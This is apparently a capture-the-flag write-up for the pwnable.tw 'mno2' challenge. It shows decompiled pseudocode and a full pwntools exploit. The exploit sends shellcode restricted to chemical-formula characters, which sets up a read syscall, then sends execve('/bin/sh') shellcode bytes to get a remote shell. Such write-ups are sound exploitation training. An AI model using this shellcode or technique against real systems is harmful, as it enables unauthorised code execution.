ntype.club

mno2

what if periodic table shellcode

int main()
{
    uint32_t mno2 = 0x324f6e4d; // 'MnO2'
    uint32_t addr = (0x324f6e4d & 0xfffff000); //0x324f6000
    //rxw, copy on init + map anon
    mmap(addr, 0x8000, 7, 0x22, 0xffffffff, 0);
    
    //now within the mmap region
    scanf("%s", mn02);

    uint32_t slen = strlen(mno2);
    //esp + 0x2c = slen
   
    //0x71b3 = 0x8000 - 0xe4d
    uint32_t diff = 0x71b3 - slen;
    uint32_t offset = mno2 + slen;

    memset(offset, 0, diff);
    //checks whether input looks like a compound, eg MnO2 CH4
    check(mn02);
    *mno2();
}

There’s no point in providing the full reverse, the check function validates that user input kinda looks like a molecular compound. MnO2, CH4, H22H and C78Zn4 are all valid compounds, while 2H and Zy are not. After validation, the program jumps to the supplied input.

I used python and the capstone library to generate every conceivable 6-byte input and its respective opcode(s). I wrote a script to brute force all my XOR arithmetic as well. Calling the execve syscall with ‘/bin/sh’ seemed extraordinarily difficult, instead I called the read syscall which then let me input concise shellcode without silly constraints.

from pwn import *

#sh = process('./mno2')
sh = remote('chall.pwnable.tw', 10301)
pause()

# dec esi ##filler

## edx starts with value 0x80488c0
## eax starts with value 0x324f6e4d
## Create an int 80 call at eax + 0x75
# xor edx, dword [eax+0x32]
# xor dword [eax+0x75], edx

## Primarily use this to make the next xor set work
# push ebx
# push eax
# push eax
# push ebx
# push eax
# push ebp
# push ebx
# push eax
# pop a

## esi is zero, edx = eax, ecx = eax
## Set ecx to 0x324f6f00
# xor ecx, dword[edx+esi*2+0x36]
# xor ecx, dword[edx+esi*2+0x38]

# Jump over the area we xor'd against
# jne +0x33 

## Set eax to 3 for the read syscall
# inc ebx
# inc ebx
# inc ebx
# push ebx
# pop eax, gs ## gs op is effectively a nop
# dec ebx
# dec ebx
# dec ebx
# ... ## Filler until we get to read syscall

# After read, more filler until we reach shellcode at 0x324f6f00

intro = 'N3P2' + '1Pu' + 'SPPSPUSP' + 'a' + '3Lr6' + '3Lr8' + 'Pu1' + 'FN' * 0xB + 'F'
xor1 = 'B1' + 'ND' + 'yO4N' + '4N' #3a
outro = 'FN' * 0x7 + 'OOO' + 'CCC' + 'SXe' + 'KKK' + 'F' * 31 + 'O9NN' 
outro2 = 'FN' * 0x15 + 'FN' * 8

## Ending 'Ca' is used to tweak edx into our required starting val :)
## The last four bytes are later overwritten by read call
payload = intro + xor1 + outro + outro2 + 'CaCa'
print(payload)
print(len(payload))

# le stolen shellcode
shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

sleep(3)
sh.sendline(payload)
sleep(3)

# send execve shellcode with our generated read call
sh.sendline(shell)
sh.interactive()